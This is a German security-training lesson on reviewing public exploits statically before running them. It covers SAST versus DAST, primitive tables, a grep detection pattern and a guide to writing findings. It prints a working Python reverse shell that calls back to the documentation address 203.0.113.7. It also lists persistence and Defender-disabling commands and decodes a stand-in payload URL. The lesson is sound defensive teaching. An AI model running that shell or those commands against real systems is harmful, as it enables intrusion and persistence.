Zum Hauptinhalt springen

Offensive Code-Analyse — Grundlagen

Ein öffentlicher Exploit ist kein Rezept. Es ist ein Programm, das jemand anderes geschrieben hat — manchmal um eine Schwachstelle zu dokumentieren, manchmal um seine eigene obendrauf zu installieren. Ihn zu lesen, ohne ihn zu starten, ist ein Handwerk. Diese Lektion legt die Methode, die Signale und die Art fest, daraus einen Befund zu machen.

Erst lesen, niemals starten

Ein Skript „Exploit" im Interpreter zu öffnen bedeutet, sich damit einverstanden zu erklären, selbst zum Ziel zu werden. Ein GitHub-Repository mit dem Titel PoC CVE-20xx enthält regelmäßig eine zweite Stufe: Netzwerk-Rückruf, hinzugefügter SSH-Schlüssel, geplante Aufgabe. Das Lesen erfolgt in einem Editor, mit less, bat oder Get-Content. Nicht mit python exploit.py.

Was Sie nach dieser Lektion können werden​

  • SAST und DAST unterscheiden und wissen, welche Methode bei einem offensiven Tool zuerst anzuwenden ist.
  • Eine statische Lektüre in vier Schritten vor jeder Ausführung anwenden.
  • Die sensiblen Primitiven (eval, exec, socket, pickle, Shell-Aufrufe) benennen und erkennen, was sie verraten.
  • Das Bedrohungsmodell eines Skripts rekonstruieren: Privileg, Version, Netzwerk, Persistenz.
  • Innerhalb weniger Sekunden die Warnsignale erkennen: fest codierte URL oder IP, base64, XOR, Schreibvorgänge in authorized_keys, crontab, Registry\Run.
  • Einen Befund (Beweis, Auswirkung, Abhilfemaßnahme) verfassen und den Rahmen einer koordinierten Offenlegung kennen.

1. SAST versus DAST — zwei Blickwinkel, eine Reihenfolge​

Zwei Analysefamilien, zwei Untersuchungsobjekte, zwei unterschiedliche Verzerrungen.

AnsatzWas Sie untersuchenWas Sie ausführenWas Sie erhalten
SAST (Static Application Security Testing)Den Quellcode, den Bytecode, das Skript, die disassemblierte BinärdateiNichts vom Ziel, nichts vom SkriptKandidaten, Primitiven, Geheimnisse, tote Pfade
DAST (Dynamic Application Security Testing)Die laufende AnwendungAnfragen, manchmal PayloadsBestätigungen, Verhaltensweisen, andersartige Falsch-Positive

SAST beantwortet: „Wozu ist dieser Code fähig?" DAST beantwortet: „Was tut dieser Dienst wirklich, wenn man ihn anspricht?"

Bei einem offensiven Tool (öffentlicher Exploit, Automatisierungsskript, außerhalb des Rahmens beschafftes Metasploit-Modul) ist die Reihenfolge nicht verhandelbar: erst SAST. Sie haben noch nicht das Recht, „dynamisch" herauszufinden, was das Skript an 203.0.113.7 sendet.

Bei einer Anwendung, die Sie auditieren (Lab, Auftrag, Kunden-Repository), ergänzen sich beide. Semgrep und Bandit erstellen die Liste der Kandidaten. Burp und manuelle Tests bestätigen, was erreichbar ist. Ein Befund aus einem Code-Review stützt sich oft allein auf SAST: Der Beweis ist eine Zeile, kein Shell-Screenshot.

Die Adressen dieser Lektion

Alle Beispiel-IPs stammen aus Dokumentationsbereichen (RFC 5737), insbesondere 203.0.113.0/24. Sie leiten nicht zu einer echten Maschine. Zeigt ein Skript, das Sie lesen, woanders hin — privater Adressbereich, VPS, unbekannte Domäne — ist das bereits ein Signal.


2. Warum die statische Lektüre vor der Ausführung steht​

Drei Gründe, keiner davon ist theoretisch.

Sie können selbst zum Opfer werden. Die Datei heißt exploit.py. Beim ersten import öffnet sie einen Socket, schreibt einen Schlüssel, lädt ein zweites Skript herunter. Der Titel des Repositorys schützt Sie nicht. Die am meisten geteilten „PoCs" sind auch die am häufigsten kopierten — und die am häufigsten neu bewaffneten.

Sie können den Rahmen verlassen. Einen Exploit zu starten, ohne das Ziel, die Version, die Netzwerkvoraussetzungen gelesen zu haben, bedeutet blind anzugreifen. Außerhalb eines Labs und außerhalb der RoE ist das eine Straftat. Selbst im Auftrag bringt Sie ein Skript, das 10.0.0.0/8 durchsucht, obwohl der Geltungsbereich ein /28 ist, außerhalb des Vertrags.

Sie verpassen, was die Shell überlebt. Viele Lernende bleiben bei „das öffnet eine /bin/sh" stehen. Die nützliche Frage kommt danach: Bleibt es bestehen? Eine Zeile in crontab, ein Wert unter HKCU\...\Run, ein Schlüssel in ~/.ssh/authorized_keys ist sowohl für den Verteidiger als auch für den Bericht mehr wert als die Shell selbst.

Die einfache Regel: Wenn ich das Skript niemandem erklären kann, habe ich nicht das Recht, es zu starten.


3. Die Lesemethode in vier Schritten​

Es ist dasselbe Raster für einen zehnzeiligen Reverse Shell wie für ein Framework mit zweihundert Dateien.

3.1. Erst statisch​

In einem Editor öffnen. Die Imports, eingebundenen Dateien, Netzwerkaufrufe und Festplatten-Schreibvorgänge auflisten. Nicht „zum Testen" kompilieren. Kein unbekanntes Modul importieren: In Python führt der bloße Import bereits den Dateikörper aus.

# Lesen, keine Ausführung
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less

3.2. Die sensiblen Primitiven lokalisieren​

Eine Primitive ist ein Aufruf, der die Welt verändert: Code ausführen, das Netzwerk öffnen, eine vertrauenswürdige Datei beschreiben, eine Schutzfunktion deaktivieren. Sie suchen danach, bevor Sie den Rest verstehen. Eine Tabelle genügt.

PrimitiveHäufige SprachenWas sie ermöglichtLesart
eval, execPython, PHPEine Zeichenkette als Code ausführenDie Payload kommt oft von woanders (Netzwerk, Datei, Argument)
Function, setTimeout(string)JavaScriptDasselbe im Browser oder unter NodeGespeichertes XSS oder Verschleierungswerkzeug
socket, connect, requests.getPython, C, GoRückruf oder DownloadC2, Reverse Shell, zweite Stufe
subprocess, os.system, Runtime.execPython, JavaShellZusammengesetzter Befehl, oft injizierbar
pickle.loads, yaml.load, unserializePython, PHPDeserialisierungCodeausführung beim Laden
ctypes, Reflection, NativePython, Java, .NETLow-Level-AufrufeUmgehung, Injektion
os.dup2Python, Cstdin/stdout/stderr umleitenKlassisches Erkennungsmerkmal eines Reverse Shells

Sie müssen das Skript nicht vollständig verstehen, um diese Aufrufe zu markieren. Der Rest der Lektüre knüpft daran an.

3.3. Die Payload identifizieren​

Drei Fragen, in dieser Reihenfolge:

  1. Was installiert oder überschreibt sie? Binärdatei, Schlüssel, Dienst, Umgebungsvariable.
  2. Wen kontaktiert sie? IP, Domäne, Port, Protokoll, Richtung (eingehend / ausgehend).
  3. Was persistiert sie? Nichts (flüchtige Shell), oder ein Mechanismus, der einen Neustart überlebt.

Ein sechszeiliger TCP-Reverse-Shell installiert oft nichts. Ein fünfzigzeiliger „Patch", der authorized_keys anfasst, installiert eine Hintertür. Das ist nicht dieselbe Kategorie, das ist nicht derselbe Befund.

3.4. Das Bedrohungsmodell rekonstruieren​

Ein Skript ohne Bedrohungsmodell ist eine Anekdote. Sie müssen diese Tabelle ausfüllen können, bevor Sie ein Fazit ziehen.

FrageWarum sie wichtig ist
Welches Privileg braucht man bereits?Lokaler user, authentifizierte Web-Session, anonym aus der Ferne: die Auswirkung ändert sich.
Welche Version, welches Produkt?Ein Exploit für WordPress 4.7 sagt nichts über 6.x aus.
Welche Netzwerkvoraussetzungen?Ausgehend TCP 4444, DNS, SMB, nur localhost.
Wie sieht der Erfolg aus?Shell, Token-Diebstahl, Dateischreibvorgang, Denial of Service.
Was bleibt danach übrig?Nichts, oder eine Persistenz, die der Kunde entfernen lassen muss.

Ohne dieses letzte Feld wissen Sie nicht, was Sie empfehlen sollen. Eine Shell ohne Persistenz schließt sich. Ein SSH-Schlüssel schließt sich nicht.


4. Sofort zu erkennende Signale​

Sie werden nicht immer Zeit für eine vollständige Durchsicht haben. Diese Muster erkennt man beim Scannen, oft mit grep.

SignalWo es auftrittLesart
Fest codierte URL zu einem Drittenhttp://, https://, ftp://Download einer zweiten Stufe, Exfiltration, „Update"
Literale IPBesonders außerhalb von RFC 1918 und DokumentationsbereichenC2, Rückruf, schlecht abgegrenzter interner Scan
base64 oder XORLange Zeichenketten, b64decode, bytes([…]) ^ cleVersteckte Payload oder URL — zu dekodieren, nicht auszuführen
~/.ssh/authorized_keysecho, >>, open(..., "a")SSH-Persistenz: Ein Schlüssel des Angreifers wird zu einem legitimen Login
crontab / schtasks@reboot, * * * * *Zeitliche Persistenz
Registry\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunWindows-Sitzungspersistenz
Sabotage von SchutzmaßnahmenSet-MpPreference -DisableRealtimeMonitoring, Beenden von ufw / iptablesDas Skript bereitet das Terrain vor; das Feststellen ist einen eigenen Befund wert
# Statisches Scannen — die Datei wird nicht interpretiert
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py

Eine IP im Bereich 203.0.113.0/24 ist in diesem Kurs ein Beispiel. Dieselbe Form in einem heute Morgen heruntergeladenen Skript ist ein externer Rückruf. Eine IP im Bereich 192.0.2.0/24 oder 198.51.100.0/24 ebenso (RFC 5737). Eine IP wie 8.8.8.8 ist kein C2, sondern oft ein Resolver. Eine private/VPS-IP im Bereich 185.x oder 45.x verdient es, dass man vor dem Weitermachen whois öffnet.

4.1. Kommentiertes Beispiel — Python-Reverse-Shell​

Das folgende Fragment ist didaktisch. Es wird auf dieser Seite nicht ausgeführt, und Sie starten es nicht.

# NICHT AUSFÜHREN — didaktische Anmerkung.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP-Socket
s.connect(("203.0.113.7", 4444)) # fest codierter externer Rückruf
os.dup2(s.fileno(), 0) # Umleitung stdin
os.dup2(s.fileno(), 1) # Umleitung stdout
os.dup2(s.fileno(), 2) # Umleitung stderr
subprocess.call(["/bin/sh", "-i"]) # interaktive Shell

Lesart, Zeile für Zeile:

ZeilePrimitiveWas sie tutWas sie nicht tut
socket(...)NetzwerkErstellt einen TCP-DeskriptorLauscht nicht: Es ist ein Client
connect(("203.0.113.7", 4444))RückrufVerbindet sich mit einer fest codierten IP und einem PortKeine DNS-Auflösung, keine Verschlüsselung
os.dup2(..., 0/1/2)UmleitungDie Shell wird über den Socket kommunizierenKeine Authentifizierung
subprocess.call(["/bin/sh", "-i"])AusführungInteraktive ShellKeine Persistenz, keine Verschleierung

Bedrohungsmodell in einem Satz: ausgehender TCP-Reverse-Shell, Voraussetzung = Python auf der Maschine ausführen können, Erfolg = Remote-Shell, verbleibt = nichts (flüchtiger Prozess). Erkennung möglich: Regel für ungewöhnlichen ausgehenden Verkehr zu Port 4444, oder einfach das Lesen des Quelltexts.

Das ist der am leichtesten lesbare Fall. Die folgende Demonstration fügt ein Bash-Skript hinzu, das seinerseits persistiert, sowie Tools, die dieselben Muster in einer Anwendung von selbst finden.

4.2. base64 und XOR — Dekodieren ist nicht Starten​

Eine undurchsichtige Zeichenkette ist kein Argument dafür, „das Skript einfach mal auszuprobieren". Es ist ein Argument dafür, sie in einem Notizblock zu dekodieren.

# Isolierte Dekodierung: man erhält Text, man leitet ihn nicht in einen Interpreter weiter
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Didaktisches XOR: der Schlüssel 0x13 steht sichtbar im Skript
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — zu notieren, nicht zu kontaktieren

Das Ergebnis der Dekodierung fügt sich wieder in das Raster ein: Drittanbieter-URL, IP, Befehl. Sie ordnen es dem Bedrohungsmodell zu. Sie curlen es nicht, Sie bashen es nicht.


5. Was die Tools ändern — und was nicht​

Semgrep, Bandit, Gitleaks, ripgrep: Das sind Lesebeschleuniger, keine Ersatzlösungen.

ToolStärkeGrenze
SemgrepSprachübergreifende Regeln, Muster (SQLi, Injektionen, Geheimnisse)Fehlende Regel = Lücke; Falsch-Positive bei totem Code
BanditAuf Python spezialisiert, stabile IDs (B301, B608)Ignoriert PHP, PS1, Bash außerhalb von Python
GitleaksFest codierte Geheimnisse, AWS-Schlüssel, TokensVersteht eine eval-Primitive nicht
grep / rgSie wählen das MusterSie finden nur, was Sie zu benennen wissen

Ein Tool, das nichts sagt, beweist nicht das Fehlen einer Payload. Ein Tool, das bei eval einer konstanten Zeichenkette in einem Unit-Test Alarm schlägt, beweist keine RCE. Der Leser bleiben Sie. Die Demonstration zeigt die reale Ausgabe; der Workshop lässt Sie entscheiden.

Falsch-Positive, Falsch-Negative

SAST überschätzt (ein execute auf einer Konstante) und unterschätzt (eine hinter zwei eigenen Funktionen versteckte Primitive). Ein Befund stützt sich auf die gelesene Zeile, nicht allein auf die Bandit-Kennung. Umgekehrt ist „Bandit hat nichts gesagt" kein Audit-Fazit.


6. Dokumentieren wie einen Befund​

Lesen nützt nur, wenn es im Bericht landet. Ein offensives Tool oder eine im Quelltext gefundene Schwachstelle wird mit denselben drei Blöcken dokumentiert wie im Berichtsmodul.

  1. Beweis — Datei, Zeile, Auszug, Tool-Kennung. Nicht „das Skript sieht gefährlich aus".
  2. Auswirkung — wer kann was, unter welcher Voraussetzung. Ein pickle.loads auf einer anonymen Route hat nicht dieselbe Auswirkung wie ein md5 auf einem internen Passwort.
  3. Abhilfemaßnahme — der Patch, das Entfernen der Persistenz oder die Erkennungsregel. Ein umsetzbarer Satz.

Fügen Sie hinzu, wenn es sich um ein Tool und nicht um eine Anwendung handelt: die Empfehlung, es nicht auszuführen, das Bedrohungsmodell und was das SOC bereits blockieren kann (ausgehender Verkehr auf 4444, Schreibvorgang in authorized_keys).

Das ist derselbe Reflex wie bei einer SQLi: Der Leser des Berichts muss überprüfen können, ohne den Angriff erneut zu starten. Hier überprüft er, indem er die Datei öffnet.


7. Ethik — Veröffentlichen ist nicht harmlos​

Einen funktionsfähigen Exploit zu veröffentlichen — selbst „für die Wissenschaft" — verpflichtet zu drei Dingen. Der Modulindex legt sie fest; sie gelten auch außerhalb der Schule.

  1. Frist zur koordinierten Offenlegung mit dem Hersteller. Der Forscher informiert, der Hersteller behebt, dann erst kommen die Details heraus. Übliche Fristen liegen bei etwa 90 Tagen; der Vertrag oder die Richtlinie des Dienstleisters hat Vorrang.
  2. Dokumentierte Abhilfemaßnahme. Ein PoC ohne Patch, ohne gepatchte Version, ohne Erkennungsmaßnahme ist eine ohne Anleitung ausgelieferte Waffe. Ihr Befund muss die Abhilfe tragen.
  3. Verantwortungsrahmen gegenüber den Nutzern. Einen Exploit „für die Lernenden" unverändert in ein öffentliches Repository zu kopieren, ohne ihn zu entschärfen (Dokumentations-IP, exit am Anfang, Banner nicht ausführen), macht Sie zu einem Verbreiter.

Dieser Kurs zeigt kommentierte Auszüge, RFC-5737-IPs, absichtlich verwundbare Repositories, die Sie lokal erstellen. Er verlangt von Ihnen nie, einen bewaffneten Exploit zu pushen oder ein System außerhalb des Labs anzugreifen.


8. Die zeitraubendsten Missverständnisse​

  • „Ich starte es einfach, dann sehe ich schon." Sie werden vor allem die zweite Stufe zu sehen bekommen. Die Lektüre ist die Kontrolle.
  • „SAST = DAST ohne die Pakete." Nein. SAST bestätigt nicht, dass eine Route erreichbar ist. DAST liest keine Persistenz, die noch nicht ausgelöst wurde.
  • „Keine Verschleierung, also nicht gefährlich." Der Reverse Shell aus Abschnitt 4 hat keinerlei Verschleierung. Er ist absolut gefährlich, wenn man ihn ausführt.
  • „Das ist ein Admin-Tool, also ist es unbedenklich." Ein Bash-Skript, das „den Gerätepark aktualisiert" und authorized_keys neu schreibt, ist ein Admin-Tool und eine Persistenz. Der Dateiname entscheidet nicht.
  • „Gitleaks hat einen Beispielschlüssel gefunden, also ist alles rot." AKIAIOSFODNN7EXAMPLE ist der Schlüssel aus der AWS-Dokumentation. Sie qualifizieren: Beispiel, widerrufen, oder echtes Geheimnis. Der Bericht verwässert echte Lecks nicht.

Was Sie sich merken sollten​

Die statische Lektüre ist die einzige Kontrolle, die der Ausführung vorausgeht. SAST und DAST ersetzen sich nicht gegenseitig: Die eine liest das Mögliche, die andere das Reale. Sie suchen zuerst nach den Primitiven (eval, socket, Shell, Deserialisierung), dann nach der Payload, dann nach dem Bedrohungsmodell. Die Signale (fest codierte URL/IP, base64, XOR, authorized_keys, crontab, Registry\Run) lassen sich mit einem einzigen Befehl scannen. Ein Tool beschleunigt; es unterschreibt nicht den Befund. Einen funktionsfähigen Exploit ohne koordinierte Frist, ohne Abhilfe und ohne Rahmen zu veröffentlichen, ist nicht Teil dieses Handwerks.

Nächste Lektion: Wir kommentieren einen Reverse Shell und ein Bash-Skript, ohne sie zu starten, und lesen anschließend die Ausgabe von Semgrep, Bandit und Gitleaks für eine Flask-Anwendung.